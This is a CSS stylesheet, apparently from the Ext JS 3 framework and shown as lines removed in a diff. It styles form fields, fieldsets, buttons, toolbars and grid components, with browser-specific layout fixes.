-} - -.x-trigger-wrap-focus .x-form-trigger{ - border-bottom: 1px solid; -} - -.x-item-disabled .x-form-trigger-over{ - background-position:0 0 !important; - border-bottom: 1px solid; -} - -.x-item-disabled .x-form-trigger-click{ - background-position:0 0 !important; - border-bottom: 1px solid; -} - -.x-trigger-noedit{ - cursor:pointer; -} - -/* field focus style */ -.x-form-focus, textarea.x-form-focus{ - border: 1px solid; -} - -/* invalid fields */ -.x-form-invalid, textarea.x-form-invalid{ - background:repeat-x bottom; - border: 1px solid; -} - -.x-form-inner-invalid, textarea.x-form-inner-invalid{ - background:repeat-x bottom; -} - -/* editors */ -.x-editor { - visibility:hidden; - padding:0; - margin:0; -} - -.x-form-grow-sizer { - left: -10000px; - padding: 8px 3px; - position: absolute; - visibility:hidden; - top: -10000px; - white-space: pre-wrap; - white-space: -moz-pre-wrap; - white-space: -pre-wrap; - white-space: -o-pre-wrap; - word-wrap: break-word; - zoom:1; -} - -.x-form-grow-sizer p { - margin:0 !important; - border:0 none !important; - padding:0 !important; -} - -/* Form Items CSS */ - -.x-form-item { - display:block; - margin-bottom:4px; - zoom:1; -} - -.x-form-item label.x-form-item-label { - display:block; - float:left; - width:100px; - padding:3px; - padding-left:0; - clear:left; - z-index:2; - position:relative; -} - -.x-form-element { - padding-left:105px; - position:relative; -} - -.x-form-invalid-msg { - padding:2px; - padding-left:18px; - background: transparent no-repeat 0 2px; - line-height:16px; - width:200px; -} - -.x-form-label-left label.x-form-item-label { - text-align:left; -} - -.x-form-label-right label.x-form-item-label { - text-align:right; -} - -.x-form-label-top .x-form-item label.x-form-item-label { - width:auto; - float:none; - clear:none; - display:inline; - margin-bottom:4px; - position:static; -} - -.x-form-label-top .x-form-element { - padding-left:0; - padding-top:4px; -} - -.x-form-label-top .x-form-item { - padding-bottom:4px; -} - -/* Editor small font for grid, toolbar and tree */ -.x-small-editor .x-form-text { - height:20px; - line-height:16px; - vertical-align:middle; -} - -.ext-ie6 .x-small-editor .x-form-text, .ext-ie7 .x-small-editor .x-form-text { - margin-top:-1px !important; /* ie bogus margin bug */ - margin-bottom:-1px !important; - height:20px !important; /* ie quirks */ - line-height:16px !important; -} - -.ext-strict .x-small-editor .x-form-text { - height:16px !important; -} - -.ext-ie6 .x-small-editor .x-form-text, .ext-ie7 .x-small-editor .x-form-text { - height:20px; - line-height:16px; -} - -.ext-border-box .x-small-editor .x-form-text { - height:20px; -} - -.x-small-editor .x-form-select-one { - height:20px; - line-height:16px; - vertical-align:middle; -} - -.x-small-editor .x-form-num-field { - text-align:right; -} - -.x-small-editor .x-form-field-wrap .x-form-trigger{ - height:19px; -} - -.ext-webkit .x-small-editor .x-form-text{padding-top:3px;font-size:100%;} - -.x-form-clear { - clear:both; - height:0; - overflow:hidden; - line-height:0; - font-size:0; -} -.x-form-clear-left { - clear:left; - height:0; - overflow:hidden; - line-height:0; - font-size:0; -} - -.ext-ie6 .x-form-check-wrap input, .ext-border-box .x-form-check-wrap input{ - margin-top: 3px; -} - -.x-form-cb-label { - position: relative; - margin-left:4px; - top: 2px; -} - -.ext-ie .x-form-cb-label{ - top: 1px; -} - -.ext-ie6 .x-form-cb-label, .ext-border-box .x-form-cb-label{ - top: 3px; -} - -.x-form-display-field{ - padding-top: 2px; -} - -.ext-gecko .x-form-display-field, .ext-strict .ext-ie7 .x-form-display-field{ - padding-top: 1px; -} - -.ext-ie .x-form-display-field{ - padding-top: 3px; -} - -.ext-strict .ext-ie8 .x-form-display-field{ - padding-top: 0; -} - -.x-form-column { - float:left; - padding:0; - margin:0; - width:48%; - overflow:hidden; - zoom:1; -} - -/* buttons */ -.x-form .x-form-btns-ct .x-btn{ - float:right; - clear:none; -} - -.x-form .x-form-btns-ct .x-form-btns td { - border:0; - padding:0; -} - -.x-form .x-form-btns-ct .x-form-btns-right table{ - float:right; - clear:none; -} - -.x-form .x-form-btns-ct .x-form-btns-left table{ - float:left; - clear:none; -} - -.x-form .x-form-btns-ct .x-form-btns-center{ - text-align:center; /*ie*/ -} - -.x-form .x-form-btns-ct .x-form-btns-center table{ - margin:0 auto; /*everyone else*/ -} - -.x-form .x-form-btns-ct table td.x-form-btn-td{ - padding:3px; -} - -.x-form .x-form-btns-ct .x-btn-focus .x-btn-left{ - background-position:0 -147px; -} - -.x-form .x-form-btns-ct .x-btn-focus .x-btn-right{ - background-position:0 -168px; -} - -.x-form .x-form-btns-ct .x-btn-focus .x-btn-center{ - background-position:0 -189px; -} - -.x-form .x-form-btns-ct .x-btn-click .x-btn-center{ - background-position:0 -126px; -} - -.x-form .x-form-btns-ct .x-btn-click .x-btn-right{ - background-position:0 -84px; -} - -.x-form .x-form-btns-ct .x-btn-click .x-btn-left{ - background-position:0 -63px; -} - -.x-form-invalid-icon { - width:16px; - height:18px; - visibility:hidden; - position:absolute; - left:0; - top:0; - display:block; - background:transparent no-repeat 0 2px; -} - -/* fieldsets */ -.x-fieldset { - border:1px solid; - padding:10px; - margin-bottom:10px; - display:block; /* preserve margins in IE */ -} - -/* make top of checkbox/tools visible in webkit */ -.ext-webkit .x-fieldset-header { - padding-top: 1px; -} - -.ext-ie .x-fieldset legend { - margin-bottom:10px; -} - -.ext-ie .x-fieldset { - padding-top: 0; - padding-bottom:10px; -} - -.x-fieldset legend .x-tool-toggle { - margin-right:3px; - margin-left:0; - float:left !important; -} - -.x-fieldset legend input { - margin-right:3px; - float:left !important; - height:13px; - width:13px; -} - -fieldset.x-panel-collapsed { - padding-bottom:0 !important; - border-width: 1px 1px 0 1px !important; - border-left-color: transparent; - border-right-color: transparent; -} - -.ext-ie6 fieldset.x-panel-collapsed{ - padding-bottom:0 !important; - border-width: 1px 0 0 0 !important; - margin-left: 1px; - margin-right: 1px; -} - -fieldset.x-panel-collapsed .x-fieldset-bwrap { - visibility:hidden; - position:absolute; - left:-1000px; - top:-1000px; -} - -.ext-ie .x-fieldset-bwrap { - zoom:1; -} - -.x-fieldset-noborder { - border:0px none transparent; -} - -.x-fieldset-noborder legend { - margin-left:-3px; -} - -/* IE legend positioning bug */ -.ext-ie .x-fieldset-noborder legend { - position: relative; - margin-bottom:23px; -} -.ext-ie .x-fieldset-noborder legend span { - position: absolute; - left:16px; -} - -.ext-gecko .x-window-body .x-form-item { - -moz-outline: none; - outline: none; - overflow: auto; -} - -.ext-mac.ext-gecko .x-window-body .x-form-item { - overflow:hidden; -} - -.ext-gecko .x-form-item { - -moz-outline: none; - outline: none; -} - -.x-hide-label label.x-form-item-label { - display:none; -} - -.x-hide-label .x-form-element { - padding-left: 0 !important; -} - -.x-form-label-top .x-hide-label label.x-form-item-label{ - display: none; -} - -.x-fieldset { - overflow:hidden; -} - -.x-fieldset-bwrap { - overflow:hidden; - zoom:1; -} - -.x-fieldset-body { - overflow:hidden; -} -.x-btn{ - cursor:pointer; - white-space: nowrap; -} - -.x-btn button{ - border:0 none; - background-color:transparent; - padding-left:3px; - padding-right:3px; - cursor:pointer; - margin:0; - overflow:visible; - width:auto; - -moz-outline:0 none; - outline:0 none; -} - -* html .ext-ie .x-btn button { - width:1px; -} - -.ext-gecko .x-btn button, .ext-webkit .x-btn button { - padding-left:0; - padding-right:0; -} - -.ext-gecko .x-btn button::-moz-focus-inner { - padding:0; -} - -.ext-ie .x-btn button { - padding-top:2px; -} - -.x-btn td { - padding:0 !important; -} - -.x-btn-text { - cursor:pointer; - white-space: nowrap; - padding:0; -} - -/* icon placement and sizing styles */ - -/* Only text */ -.x-btn-noicon .x-btn-small .x-btn-text{ - height: 16px; -} - -.x-btn-noicon .x-btn-medium .x-btn-text{ - height: 24px; -} - -.x-btn-noicon .x-btn-large .x-btn-text{ - height: 32px; -} - -/* Only icons */ -.x-btn-icon .x-btn-text{ - background-position: center; - background-repeat: no-repeat; -} - -.x-btn-icon .x-btn-small .x-btn-text{ - height: 16px; - width: 16px; -} - -.x-btn-icon .x-btn-medium .x-btn-text{ - height: 24px; - width: 24px; -} - -.x-btn-icon .x-btn-large .x-btn-text{ - height: 32px; - width: 32px; -} - -/* Icons and text */ -/* left */ -.x-btn-text-icon .x-btn-icon-small-left .x-btn-text{ - background-position: 0 center; - background-repeat: no-repeat; - padding-left:18px; - height:16px; -} - -.x-btn-text-icon .x-btn-icon-medium-left .x-btn-text{ - background-position: 0 center; - background-repeat: no-repeat; - padding-left:26px; - height:24px; -} - -.x-btn-text-icon .x-btn-icon-large-left .x-btn-text{ - background-position: 0 center; - background-repeat: no-repeat; - padding-left:34px; - height:32px; -} - -/* top */ -.x-btn-text-icon .x-btn-icon-small-top .x-btn-text{ - background-position: center 0; - background-repeat: no-repeat; - padding-top:18px; -} - -.x-btn-text-icon .x-btn-icon-medium-top .x-btn-text{ - background-position: center 0; - background-repeat: no-repeat; - padding-top:26px; -} - -.x-btn-text-icon .x-btn-icon-large-top .x-btn-text{ - background-position: center 0; - background-repeat: no-repeat; - padding-top:34px; -} - -/* right */ -.x-btn-text-icon .x-btn-icon-small-right .x-btn-text{ - background-position: right center; - background-repeat: no-repeat; - padding-right:18px; - height:16px; -} - -.x-btn-text-icon .x-btn-icon-medium-right .x-btn-text{ - background-position: right center; - background-repeat: no-repeat; - padding-right:26px; - height:24px; -} - -.x-btn-text-icon .x-btn-icon-large-right .x-btn-text{ - background-position: right center; - background-repeat: no-repeat; - padding-right:34px; - height:32px; -} - -/* bottom */ -.x-btn-text-icon .x-btn-icon-small-bottom .x-btn-text{ - background-position: center bottom; - background-repeat: no-repeat; - padding-bottom:18px; -} - -.x-btn-text-icon .x-btn-icon-medium-bottom .x-btn-text{ - background-position: center bottom; - background-repeat: no-repeat; - padding-bottom:26px; -} - -.x-btn-text-icon .x-btn-icon-large-bottom .x-btn-text{ - background-position: center bottom; - background-repeat: no-repeat; - padding-bottom:34px; -} - -/* background positioning */ -.x-btn-tr i, .x-btn-tl i, .x-btn-mr i, .x-btn-ml i, .x-btn-br i, .x-btn-bl i{ - font-size:1px; - line-height:1px; - width:3px; - display:block; - overflow:hidden; -} - -.x-btn-tr i, .x-btn-tl i, .x-btn-br i, .x-btn-bl i{ - height:3px; -} - -.x-btn-tl{ - width:3px; - height:3px; - background:no-repeat 0 0; -} -.x-btn-tr{ - width:3px; - height:3px; - background:no-repeat -3px 0; -} -.x-btn-tc{ - height:3px; - background:repeat-x 0 -6px; -} - -.x-btn-ml{ - width:3px; - background:no-repeat 0 -24px; -} -.x-btn-mr{ - width:3px; - background:no-repeat -3px -24px; -} - -.x-btn-mc{ - background:repeat-x 0 -1096px; - vertical-align: middle; - text-align:center; - padding:0 5px; - cursor:pointer; - white-space:nowrap; -} - -/* Fixes an issue with the button height */ -.ext-strict .ext-ie6 .x-btn-mc, .ext-strict .ext-ie7 .x-btn-mc { - height: 100%; -} - -.x-btn-bl{ - width:3px; - height:3px; - background:no-repeat 0 -3px; -} - -.x-btn-br{ - width:3px; - height:3px; - background:no-repeat -3px -3px; -} - -.x-btn-bc{ - height:3px; - background:repeat-x 0 -15px; -} - -.x-btn-over .x-btn-tl{ - background-position: -6px 0; -} - -.x-btn-over .x-btn-tr{ - background-position: -9px 0; -} - -.x-btn-over .x-btn-tc{ - background-position: 0 -9px; -} - -.x-btn-over .x-btn-ml{ - background-position: -6px -24px; -} - -.x-btn-over .x-btn-mr{ - background-position: -9px -24px; -} - -.x-btn-over .x-btn-mc{ - background-position: 0 -2168px; -} - -.x-btn-over .x-btn-bl{ - background-position: -6px -3px; -} - -.x-btn-over .x-btn-br{ - background-position: -9px -3px; -} - -.x-btn-over .x-btn-bc{ - background-position: 0 -18px; -} - -.x-btn-click .x-btn-tl, .x-btn-menu-active .x-btn-tl, .x-btn-pressed .x-btn-tl{ - background-position: -12px 0; -} - -.x-btn-click .x-btn-tr, .x-btn-menu-active .x-btn-tr, .x-btn-pressed .x-btn-tr{ - background-position: -15px 0; -} - -.x-btn-click .x-btn-tc, .x-btn-menu-active .x-btn-tc, .x-btn-pressed .x-btn-tc{ - background-position: 0 -12px; -} - -.x-btn-click .x-btn-ml, .x-btn-menu-active .x-btn-ml, .x-btn-pressed .x-btn-ml{ - background-position: -12px -24px; -} - -.x-btn-click .x-btn-mr, .x-btn-menu-active .x-btn-mr, .x-btn-pressed .x-btn-mr{ - background-position: -15px -24px; -} - -.x-btn-click .x-btn-mc, .x-btn-menu-active .x-btn-mc, .x-btn-pressed .x-btn-mc{ - background-position: 0 -3240px; -} - -.x-btn-click .x-btn-bl, .x-btn-menu-active .x-btn-bl, .x-btn-pressed .x-btn-bl{ - background-position: -12px -3px; -} - -.x-btn-click .x-btn-br, .x-btn-menu-active .x-btn-br, .x-btn-pressed .x-btn-br{ - background-position: -15px -3px; -} - -.x-btn-click .x-btn-bc, .x-btn-menu-active .x-btn-bc, .x-btn-pressed .x-btn-bc{ - background-position: 0 -21px; -} - -.x-btn-disabled *{ - cursor:default !important; -} - - -/* With a menu arrow */ -/* right */ -.x-btn-mc em.x-btn-arrow { - display:block; - background:transparent no-repeat right center; - padding-right:10px; -} - -.x-btn-mc em.x-btn-split { - display:block; - background:transparent no-repeat right center; - padding-right:14px; -} - -/* bottom */ -.x-btn-mc em.x-btn-arrow-bottom { - display:block; - background:transparent no-repeat center bottom; - padding-bottom:14px; -} - -.x-btn-mc em.x-btn-split-bottom { - display:block; - background:transparent no-repeat center bottom; - padding-bottom:14px; -} - -/* height adjustment class */ -.x-btn-as-arrow .x-btn-mc em { - display:block; - background-color:transparent; - padding-bottom:14px; -} - -/* groups */ -.x-btn-group { - padding:1px; -} - -.x-btn-group-header { - padding:2px; - text-align:center; -} - -.x-btn-group-tc { - background: transparent repeat-x 0 0; - overflow:hidden; -} - -.x-btn-group-tl { - background: transparent no-repeat 0 0; - padding-left:3px; - zoom:1; -} - -.x-btn-group-tr { - background: transparent no-repeat right 0; - zoom:1; - padding-right:3px; -} - -.x-btn-group-bc { - background: transparent repeat-x 0 bottom; - zoom:1; -} - -.x-btn-group-bc .x-panel-footer { - zoom:1; -} - -.x-btn-group-bl { - background: transparent no-repeat 0 bottom; - padding-left:3px; - zoom:1; -} - -.x-btn-group-br { - background: transparent no-repeat right bottom; - padding-right:3px; - zoom:1; -} - -.x-btn-group-mc { - border:0 none; - padding:1px 0 0 0; - margin:0; -} - -.x-btn-group-mc .x-btn-group-body { - background-color:transparent; - border: 0 none; -} - -.x-btn-group-ml { - background: transparent repeat-y 0 0; - padding-left:3px; - zoom:1; -} - -.x-btn-group-mr { - background: transparent repeat-y right 0; - padding-right:3px; - zoom:1; -} - -.x-btn-group-bc .x-btn-group-footer { - padding-bottom:6px; -} - -.x-panel-nofooter .x-btn-group-bc { - height:3px; - font-size:0; - line-height:0; -} - -.x-btn-group-bwrap { - overflow:hidden; - zoom:1; -} - -.x-btn-group-body { - overflow:hidden; - zoom:1; -} - -.x-btn-group-notitle .x-btn-group-tc { - background: transparent repeat-x 0 0; - overflow:hidden; - height:2px; -}.x-toolbar{ - border-style:solid; - border-width:0 0 1px 0; - display: block; - padding:2px; - background:repeat-x top left; - position:relative; - left:0; - top:0; - zoom:1; - overflow:hidden; -} - -.x-toolbar-left { - width: 100%; -} - -.x-toolbar .x-item-disabled .x-btn-icon { - opacity: .35; - -moz-opacity: .35; - filter: alpha(opacity=35); -} - -.x-toolbar td { - vertical-align:middle; -} - -.x-toolbar td,.x-toolbar span,.x-toolbar input,.x-toolbar div,.x-toolbar select,.x-toolbar label{ - white-space: nowrap; -} - -.x-toolbar .x-item-disabled { - cursor:default; - opacity:.6; - -moz-opacity:.6; - filter:alpha(opacity=60); -} - -.x-toolbar .x-item-disabled * { - cursor:default; -} - -.x-toolbar .x-toolbar-cell { - vertical-align:middle; -} - -.x-toolbar .x-btn-tl, .x-toolbar .x-btn-tr, .x-toolbar .x-btn-tc, .x-toolbar .x-btn-ml, .x-toolbar .x-btn-mr, -.x-toolbar .x-btn-mc, .x-toolbar .x-btn-bl, .x-toolbar .x-btn-br, .x-toolbar .x-btn-bc -{ - background-position: 500px 500px; -} - -/* These rules are duplicated from button.css to give priority of x-toolbar rules above */ -.x-toolbar .x-btn-over .x-btn-tl{ - background-position: -6px 0; -} - -.x-toolbar .x-btn-over .x-btn-tr{ - background-position: -9px 0; -} - -.x-toolbar .x-btn-over .x-btn-tc{ - background-position: 0 -9px; -} - -.x-toolbar .x-btn-over .x-btn-ml{ - background-position: -6px -24px; -} - -.x-toolbar .x-btn-over .x-btn-mr{ - background-position: -9px -24px; -} - -.x-toolbar .x-btn-over .x-btn-mc{ - background-position: 0 -2168px; -} - -.x-toolbar .x-btn-over .x-btn-bl{ - background-position: -6px -3px; -} - -.x-toolbar .x-btn-over .x-btn-br{ - background-position: -9px -3px; -} - -.x-toolbar .x-btn-over .x-btn-bc{ - background-position: 0 -18px; -} - -.x-toolbar .x-btn-click .x-btn-tl, .x-toolbar .x-btn-menu-active .x-btn-tl, .x-toolbar .x-btn-pressed .x-btn-tl{ - background-position: -12px 0; -} - -.x-toolbar .x-btn-click .x-btn-tr, .x-toolbar .x-btn-menu-active .x-btn-tr, .x-toolbar .x-btn-pressed .x-btn-tr{ - background-position: -15px 0; -} - -.x-toolbar .x-btn-click .x-btn-tc, .x-toolbar .x-btn-menu-active .x-btn-tc, .x-toolbar .x-btn-pressed .x-btn-tc{ - background-position: 0 -12px; -} - -.x-toolbar .x-btn-click .x-btn-ml, .x-toolbar .x-btn-menu-active .x-btn-ml, .x-toolbar .x-btn-pressed .x-btn-ml{ - background-position: -12px -24px; -} - -.x-toolbar .x-btn-click .x-btn-mr, .x-toolbar .x-btn-menu-active .x-btn-mr, .x-toolbar .x-btn-pressed .x-btn-mr{ - background-position: -15px -24px; -} - -.x-toolbar .x-btn-click .x-btn-mc, .x-toolbar .x-btn-menu-active .x-btn-mc, .x-toolbar .x-btn-pressed .x-btn-mc{ - background-position: 0 -3240px; -} - -.x-toolbar .x-btn-click .x-btn-bl, .x-toolbar .x-btn-menu-active .x-btn-bl, .x-toolbar .x-btn-pressed .x-btn-bl{ - background-position: -12px -3px; -} - -.x-toolbar .x-btn-click .x-btn-br, .x-toolbar .x-btn-menu-active .x-btn-br, .x-toolbar .x-btn-pressed .x-btn-br{ - background-position: -15px -3px; -} - -.x-toolbar .x-btn-click .x-btn-bc, .x-toolbar .x-btn-menu-active .x-btn-bc, .x-toolbar .x-btn-pressed .x-btn-bc{ - background-position: 0 -21px; -} - -.x-toolbar div.xtb-text{ - padding:2px 2px 0; - line-height:16px; - display:block; -} - -.x-toolbar .xtb-sep { - background-position: center; - background-repeat: no-repeat; - display: block; - font-size: 1px; - height: 16px; - width:4px; - overflow: hidden; - cursor:default; - margin: 0 2px 0; - border:0; -} - -.x-toolbar .xtb-spacer { - width:2px; -} - -/* Paging Toolbar */ -.x-tbar-page-number{ - width:30px; - height:14px; -} - -.ext-ie .x-tbar-page-number{ - margin-top: 2px; -} - -.x-paging-info { - position:absolute; - top:5px; - right: 8px; -} - -/* floating */ -.x-toolbar-ct { - width:100%; -} - -.x-toolbar-right td { - text-align: center; -} - -.x-panel-tbar, .x-panel-bbar, .x-window-tbar, .x-window-bbar, .x-tab-panel-tbar, .x-tab-panel-bbar, .x-plain-tbar, .x-plain-bbar { - overflow:hidden; - zoom:1; -} - -.x-toolbar-more .x-btn-small .x-btn-text{ - height: 16px; - width: 12px; -} - -.x-toolbar-more em.x-btn-arrow { - display:inline; - background-color:transparent; - padding-right:0; -} - -.x-toolbar-more .x-btn-mc em.x-btn-arrow { - background-image: none; -} - -div.x-toolbar-no-items { - color:gray !important; - padding:5px 10px !important; -} - -/* fix ie toolbar form items */ -.ext-border-box .x-toolbar-cell .x-form-text { - margin-bottom:-1px !important; -} - -.ext-border-box .x-toolbar-cell .x-form-field-wrap .x-form-text { - margin:0 !important; -} - -.ext-ie .x-toolbar-cell .x-form-field-wrap { - height:21px; -} - -.ext-ie .x-toolbar-cell .x-form-text { - position:relative; - top:-1px; -} - -.ext-strict .ext-ie8 .x-toolbar-cell .x-form-field-trigger-wrap .x-form-text, .ext-strict .ext-ie .x-toolbar-cell .x-form-text { - top: 0px; -} - -.x-toolbar-right td .x-form-field-trigger-wrap{ - text-align: left; -} - -.x-toolbar-cell .x-form-checkbox, .x-toolbar-cell .x-form-radio{ - margin-top: 5px; -} - -.x-toolbar-cell .x-form-cb-label{ - vertical-align: bottom; - top: 1px; -} - -.ext-ie .x-toolbar-cell .x-form-checkbox, .ext-ie .x-toolbar-cell .x-form-radio{ - margin-top: 4px; -} - -.ext-ie .x-toolbar-cell .x-form-cb-label{ - top: 0; -} -/* Grid3 styles */ -.x-grid3 { - position:relative; - overflow:hidden; -} - -.x-grid-panel .x-panel-body { - overflow:hidden !important; -} - -.x-grid-panel .x-panel-mc .x-panel-body { - border:1px solid; -} - -.x-grid3 table { - table-layout:fixed; -} - -.x-grid3-viewport{ - overflow:hidden; -} - -.x-grid3-hd-row td, .x-grid3-row td, .x-grid3-summary-row td{ - -moz-outline: none; - outline: none; - -moz-user-focus: normal; -} - -.x-grid3-row td, .x-grid3-summary-row td { - line-height:13px; - vertical-align: top; - padding-left:1px; - padding-right:1px; - -moz-user-select: none; - -khtml-user-select:none; - -webkit-user-select:ignore; -} - -.x-grid3-cell{ - -moz-user-select: none; - -khtml-user-select:none; - -webkit-user-select:ignore; -} - -.x-grid3-hd-row td { - line-height:15px; - vertical-align:middle; - border-left:1px solid; - border-right:1px solid; -} - -.x-grid3-hd-row .x-grid3-marker-hd { - padding:3px; -} - -.x-grid3-row .x-grid3-marker { - padding:3px; -} - -.x-grid3-cell-inner, .x-grid3-hd-inner{ - overflow:hidden; - -o-text-overflow: ellipsis; - text-overflow: ellipsis; - padding:3px 3px 3px 5px; - white-space: nowrap; -} - -/* ActionColumn, reduce padding to accommodate 16x16 icons in normal row height */ -.x-action-col-cell .x-grid3-cell-inner { - padding-top: 1px; - padding-bottom: 1px; -} - -.x-action-col-icon { - cursor: pointer; -} - -.x-grid3-hd-inner { - position:relative; - cursor:inherit; - padding:4px 3px 4px 5px; -} - -.x-grid3-row-body { - white-space:normal; -} - -.x-grid3-body-cell { - -moz-outline:0 none; - outline:0 none; -} - -/* IE Quirks to clip */ -.ext-ie .x-grid3-cell-inner, .ext-ie .x-grid3-hd-inner{ - width:100%; -} - -/* reverse above in strict mode */ -.ext-strict .x-grid3-cell-inner, .ext-strict .x-grid3-hd-inner{ - width:auto; -} - -.x-grid-row-loading { - background: no-repeat center center; -} - -.x-grid-page { - overflow:hidden; -} - -.x-grid3-row { - cursor: default; - border: 1px solid; - width:100%; -} - -.x-grid3-row-over { - border:1px solid; - background: repeat-x left top; -} - -.x-grid3-resize-proxy { - width:1px; - left:0; - cursor: e-resize; - cursor: col-resize; - position:absolute; - top:0; - height:100px; - overflow:hidden; - visibility:hidden; - border:0 none; - z-index:7; -} - -.x-grid3-resize-marker { - width:1px; - left:0; - position:absolute; - top:0; - height:100px; - overflow:hidden; - visibility:hidden; - border:0 none; - z-index:7; -} - -.x-grid3-focus { - position:absolute; - left:0; - top:0; - width:1px; - height:1px; - line-height:1px; - font-size:1px; - -moz-outline:0 none; - outline:0 none; - -moz-user-select: text; - -khtml-user-select: text; - -webkit-user-select:ignore; -} - -/* header styles */ -.x-grid3-header{ - background: repeat-x 0 bottom; - cursor:default; - zoom:1; - padding:1px 0 0 0; -} - -.x-grid3-header-pop { - border-left:1px solid; - float:right; - clear:none; -} - -.x-grid3-header-pop-inner { - border-left:1px solid; - width:14px; - height:19px; - background: transparent no-repeat center center; -} - -.ext-ie .x-grid3-header-pop-inner { - width:15px; -} - -.ext-strict .x-grid3-header-pop-inner { - width:14px; -} - -.x-grid3-header-inner { - overflow:hidden; - zoom:1; - float:left; -} - -.x-grid3-header-offset { - padding-left:1px; - text-align: left; -} - -td.x-grid3-hd-over, td.sort-desc, td.sort-asc, td.x-grid3-hd-menu-open { - border-left:1px solid; - border-right:1px solid; -} - -td.x-grid3-hd-over .x-grid3-hd-inner, td.sort-desc .x-grid3-hd-inner, td.sort-asc .x-grid3-hd-inner, td.x-grid3-hd-menu-open .x-grid3-hd-inner { - background: repeat-x left bottom; - -} - -.x-grid3-sort-icon{ - background-repeat: no-repeat; - display: none; - height: 4px; - width: 13px; - margin-left:3px; - vertical-align: middle; -} - -.sort-asc .x-grid3-sort-icon, .sort-desc .x-grid3-sort-icon { - display: inline; -} - -/* Header position fixes for IE strict mode */ -.ext-strict .ext-ie .x-grid3-header-inner, .ext-strict .ext-ie6 .x-grid3-hd { - position:relative; -} - -.ext-strict .ext-ie6 .x-grid3-hd-inner{ - position:static; -} - -/* Body Styles */ -.x-grid3-body { - zoom:1; -} - -.x-grid3-scroller { - overflow:auto; - zoom:1; - position:relative; -} - -.x-grid3-cell-text, .x-grid3-hd-text { - display: block; - padding: 3px 5px 3px 5px; - -moz-user-select: none; - -khtml-user-select: none; - -webkit-user-select:ignore; -} - -.x-grid3-split { - background-position: center; - background-repeat: no-repeat; - cursor: e-resize; - cursor: col-resize; - display: block; - font-size: 1px; - height: 16px; - overflow: hidden; - position: absolute; - top: 2px; - width: 6px; - z-index: 3; -} - -/* Column Reorder DD */ -.x-dd-drag-proxy .x-grid3-hd-inner{ - background: repeat-x left bottom; - width:120px; - padding:3px; - border:1px solid; - overflow:hidden; -} - -.col-move-top, .col-move-bottom{ - width:9px; - height:9px; - position:absolute; - top:0; - line-height:1px; - font-size:1px; - overflow:hidden; - visibility:hidden; - z-index:20000; - background:transparent no-repeat left top; -} - -/* Selection Styles */ -.x-grid3-row-selected { - border:1px dotted; -} - -.x-grid3-locked td.x-grid3-row-marker, .x-grid3-locked .x-grid3-row-selected td.x-grid3-row-marker{ - background: repeat-x 0 bottom !important; - vertical-align:middle !important; - padding:0; - border-top:1px solid; - border-bottom:none !important; - border-right:1px solid !important; - text-align:center; -} - -.x-grid3-locked td.x-grid3-row-marker div, .x-grid3-locked .x-grid3-row-selected td.x-grid3-row-marker div{ - padding:0 4px; - text-align:center; -} - -/* dirty cells */ -.x-grid3-dirty-cell { - background: transparent no-repeat 0 0; -} - -/* Grid Toolbars */ -.x-grid3-topbar, .x-grid3-bottombar{ - overflow:hidden; - display:none; - zoom:1; - position:relative; -} - -.x-grid3-topbar .x-toolbar{ - border-right:0 none; -} - -.x-grid3-bottombar .x-toolbar{ - border-right:0 none; - border-bottom:0 none; - border-top:1px solid; -} - -/* Props Grid Styles */ -.x-props-grid .x-grid3-cell{ - padding:1px; -} - -.x-props-grid .x-grid3-td-name .x-grid3-cell-inner{ - background:transparent repeat-y -16px !important; - padding-left:12px; -} - -.x-props-grid .x-grid3-body .x-grid3-td-name{ - padding:1px; - padding-right:0; - border:0 none; - border-right:1px solid; -} - -/* dd */ -.x-grid3-col-dd { - border:0 none; - padding:0; - background-color:transparent; -} - -.x-dd-drag-ghost .x-grid3-dd-wrap { - padding:1px 3px 3px 1px; -} - -.x-grid3-hd { - -moz-user-select:none; - -khtml-user-select:none; - -webkit-user-select:ignore; -} - -.x-grid3-hd-btn { - display:none; - position:absolute; - width:14px; - background:no-repeat left center; - right:0; - top:0; - z-index:2; - cursor:pointer; -} - -.x-grid3-hd-over .x-grid3-hd-btn, .x-grid3-hd-menu-open .x-grid3-hd-btn { - display:block; -} - -a.x-grid3-hd-btn:hover { - background-position:-14px center; -} - -/* Expanders */ -.x-grid3-body .x-grid3-td-expander { - background:transparent repeat-y right; -} - -.x-grid3-body .x-grid3-td-expander .x-grid3-cell-inner { - padding:0 !important; - height:100%; -} - -.x-grid3-row-expander { - width:100%; - height:18px; - background-position:4px 2px; - background-repeat:no-repeat; - background-color:transparent; -} - -.x-grid3-row-collapsed .x-grid3-row-expander { - background-position:4px 2px; -} - -.x-grid3-row-expanded .x-grid3-row-expander { - background-position:-21px 2px; -} - -.x-grid3-row-collapsed .x-grid3-row-body { - display:none !important; -} - -.x-grid3-row-expanded .x-grid3-row-body { - display:block !important; -} - -/* Checkers */ -.x-grid3-body .x-grid3-td-checker { - background:transparent repeat-y right; -} - -.x-grid3-body .x-grid3-td-checker .x-grid3-cell-inner, .x-grid3-header .x-grid3-td-checker .x-grid3-hd-inner { - padding:0 !important; - height:100%; -} - -.x-grid3-row-checker, .x-grid3-hd-checker { - width:100%; - height:18px; - background-position:2px 2px; - background-repeat:no-repeat; - background-color:transparent; -} - -.x-grid3-row .x-grid3-row-checker { - background-position:2px 2px; -} - -.x-grid3-row-selected .x-grid3-row-checker, .x-grid3-hd-checker-on .x-grid3-hd-checker,.x-grid3-row-checked .x-grid3-row-checker { - background-position:-23px 2px; -} - -.x-grid3-hd-checker { - background-position:2px 1px; -} - -.ext-border-box .x-grid3-hd-checker { - background-position:2px 3px; -} - -.x-grid3-hd-checker-on .x-grid3-hd-checker { - background-position:-23px 1px; -} - -.ext-border-box .x-grid3-hd-checker-on .x-grid3-hd-checker { - background-position:-23px 3px; -} - -/* Numberer */ -.x-grid3-body .x-grid3-td-numberer { - background:transparent repeat-y right; -} - -.x-grid3-body .x-grid3-td-numberer .x-grid3-cell-inner { - padding:3px 5px 0 0 !important; - text-align:right; -} - -/* Row Icon */ - -.x-grid3-body .x-grid3-td-row-icon { - background:transparent repeat-y right; - vertical-align:top; - text-align:center; -} - -.x-grid3-body .x-grid3-td-row-icon .x-grid3-cell-inner { - padding:0 !important; - background-position:center center; - background-repeat:no-repeat; - width:16px; - height:16px; - margin-left:2px; - margin-top:3px; -} - -/* All specials */ -.x-grid3-body .x-grid3-row-selected .x-grid3-td-numberer, -.x-grid3-body .x-grid3-row-selected .x-grid3-td-checker, -.x-grid3-body .x-grid3-row-selected .x-grid3-td-expander { - background:transparent repeat-y right; -} - -.x-grid3-body .x-grid3-check-col-td .x-grid3-cell-inner { - padding: 1px 0 0 0 !important; -} - 